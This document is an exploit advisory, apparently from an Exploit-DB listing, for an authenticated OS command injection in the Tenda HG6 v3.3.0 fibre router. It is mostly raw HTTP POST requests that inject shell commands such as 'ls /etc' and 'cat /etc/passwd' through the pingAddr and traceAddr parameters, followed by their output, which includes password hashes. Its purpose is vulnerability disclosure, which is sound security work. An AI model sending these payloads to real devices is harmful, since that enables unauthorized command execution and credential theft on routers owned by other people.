be24992411
42 changes to exploits/shellcodes UDisk Monitor Z5 Phone - 'MonServiceUDisk.exe' Unquoted Service Path TCQ - ITeCProteccioAppServer.exe - Unquoted Service Path Wondershare Dr.Fone 11.4.10 - Insecure File Permissions ExifTool 12.23 - Arbitrary Code Execution Wondershare Dr.Fone 12.0.7 - Privilege Escalation (ElevationService) Wondershare Dr.Fone 12.0.7 - Privilege Escalation (InstallAssistService) Prime95 Version 30.7 build 9 - Remote Code Execution (RCE) Akka HTTP 10.1.14 - Denial of Service USR IOT 4G LTE Industrial Cellular VPN Router 1.0.36 - Remote Root Backdoor Bookeen Notea - Directory Traversal SAP BusinessObjects Intelligence 4.3 - XML External Entity (XXE) ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure DLINK DIR850 - Insecure Access Control DLINK DIR850 - Open Redirect Apache CouchDB 3.2.1 - Remote Code Execution (RCE) Tenda HG6 v3.3.0 - Remote Command Injection Google Chrome 78.0.3904.70 - Remote Code Execution PyScript - Read Remote Python Source Code DLINK DAP-1620 A1 v1.01 - Directory Traversal Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated) ImpressCMS v1.4.4 - Unrestricted File Upload Microfinance Management System 1.0 - 'customer_number' SQLi WebTareas 2.4 - Blind SQLi (Authenticated) WordPress Plugin Advanced Uploader 4.2 - Arbitrary File Upload (Authenticated) Magento eCommerce CE v2.3.5-p2 - Blind SQLi Bitrix24 - Remote Code Execution (RCE) (Authenticated) CSZ CMS 1.3.0 - 'Multiple' Blind SQLi Cyclos 4.14.7 - DOM Based Cross-Site Scripting (XSS) Cyclos 4.14.7 - 'groupId' DOM Based Cross-Site Scripting (XSS) e107 CMS v3.2.1 - Multiple Vulnerabilities Anuko Time Tracker - SQLi (Authenticated) TLR-2005KSH - Arbitrary File Upload Explore CMS 1.0 - SQL Injection Navigate CMS 2.9.4 - Server-Side Request Forgery (SSRF) (Authenticated) PHProjekt PhpSimplyGest v1.3. - Stored Cross-Site Scripting (XSS) Beehive Forum - Account Takeover MyBB 1.8.29 - MyBB 1.8.29 - Remote Code Execution (RCE) (Authenticated) WordPress Plugin Blue Admin 21.06.01 - Cross-Site Request Forgery (CSRF) Joomla Plugin SexyPolling 2.1.7 - SQLi WordPress Plugin stafflist 3.1.2 - SQLi (Authenticated)
146 lines
No EOL
2.7 KiB
Text
146 lines
No EOL
2.7 KiB
Text
# Exploit Title: Tenda HG6 v3.3.0 - Remote Command Injection
|
|
# Exploit Author: LiquidWorm
|
|
|
|
Tenda HG6 v3.3.0 Remote Command Injection Vulnerability
|
|
|
|
|
|
Vendor: Tenda Technology Co.,Ltd.
|
|
Product web page: https://www.tendacn.com
|
|
https://www.tendacn.com/product/HG6.html
|
|
Affected version: Firmware version: 3.3.0-210926
|
|
Software version: v1.1.0
|
|
Hardware Version: v1.0
|
|
Check Version: TD_HG6_XPON_TDE_ISP
|
|
|
|
Summary: HG6 is an intelligent routing passive optical network
|
|
terminal in Tenda FTTH solution. HG6 provides 4 LAN ports(1*GE,3*FE),
|
|
a voice port to meet users' requirements for enjoying the Internet,
|
|
HD IPTV and VoIP multi-service applications.
|
|
|
|
Desc: The application suffers from an authenticated OS command injection
|
|
vulnerability. This can be exploited to inject and execute arbitrary
|
|
shell commands through the 'pingAddr' and 'traceAddr' HTTP POST parameters
|
|
in formPing, formPing6, formTracert and formTracert6 interfaces.
|
|
|
|
Tested on: Boa/0.93.15
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2022-5706
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5706.php
|
|
|
|
|
|
22.04.2022
|
|
|
|
--
|
|
|
|
|
|
ping.asp:
|
|
---------
|
|
|
|
POST /boaform/formPing HTTP/1.1
|
|
Host: 192.168.1.1
|
|
|
|
pingAddr=;ls /etc&wanif=65535&submit-url=/ping.asp&postSecurityFlag=2564
|
|
|
|
---
|
|
TZ
|
|
app.gwdt
|
|
bftpd.conf
|
|
buildtime
|
|
check_version.txt
|
|
config
|
|
config.csv
|
|
config_default.xml
|
|
config_default_hs.xml
|
|
dhclient-script
|
|
dnsmasq.conf
|
|
ethertypes
|
|
factory_default.xml
|
|
ftpdpassword
|
|
group
|
|
hardversion
|
|
inetd.conf
|
|
init.d
|
|
inittab
|
|
innversion
|
|
insdrv.sh
|
|
irf
|
|
mdev.conf
|
|
omci_custom_opt.conf
|
|
omci_ignore_mib_tbl.conf
|
|
omci_ignore_mib_tbl_10g.conf
|
|
omci_mib.cfg
|
|
orf
|
|
passwd
|
|
ppp
|
|
profile
|
|
protocols
|
|
radvd.conf
|
|
ramfs.img
|
|
rc_boot_dsp
|
|
rc_voip
|
|
release_date
|
|
resolv.conf
|
|
rtk_tr142.sh
|
|
run_customized_sdk.sh
|
|
runoam.sh
|
|
runomci.sh
|
|
runsdk.sh
|
|
samba
|
|
scripts
|
|
services
|
|
setprmt_reject
|
|
shells
|
|
simplecfgservice.xml
|
|
smb.conf
|
|
softversion
|
|
solar.conf
|
|
solar.conf.in
|
|
ssl_cert.pem
|
|
ssl_key.pem
|
|
version
|
|
wscd.conf
|
|
|
|
|
|
ping6.asp:
|
|
----------
|
|
|
|
POST /boaform/formPing6 HTTP/1.1
|
|
Host: 192.168.1.1
|
|
|
|
pingAddr=;ls&wanif=65535&go=Go&submit-url=/ping6.asp
|
|
|
|
---
|
|
boa.conf
|
|
web
|
|
|
|
|
|
tracert.asp:
|
|
------------
|
|
|
|
POST /boaform/formTracert HTTP/1.1
|
|
Host: 192.168.1.1
|
|
|
|
traceAddr=;pwd&trys=1&timeout=5&datasize=38&dscp=0&maxhop=10&go=Go&submit-url=/tracert.asp
|
|
|
|
---
|
|
/home/httpd
|
|
|
|
|
|
tracert6.asp:
|
|
-------------
|
|
|
|
POST /boaform/formTracert6 HTTP/1.1
|
|
Host: 192.168.1.1
|
|
|
|
traceAddr=;cat /etc/passwd&trys=1&timeout=5&datasize=38&maxhop=10&go=Go&submit-url=/tracert6.asp
|
|
|
|
---
|
|
admin:$1$$CoERg7ynjYLsj2j4glJ34.:0:0::/tmp:/bin/sh
|
|
adsl:$1$$m9g7v7tSyWPyjvelclu6D1:0:0::/tmp:/bin/sh
|
|
nobody:x:0:0::/tmp:/dev/null
|
|
user:$1$$ex9cQFo.PV11eSLXJFZuj.:1:0::/tmp:/bin/sh |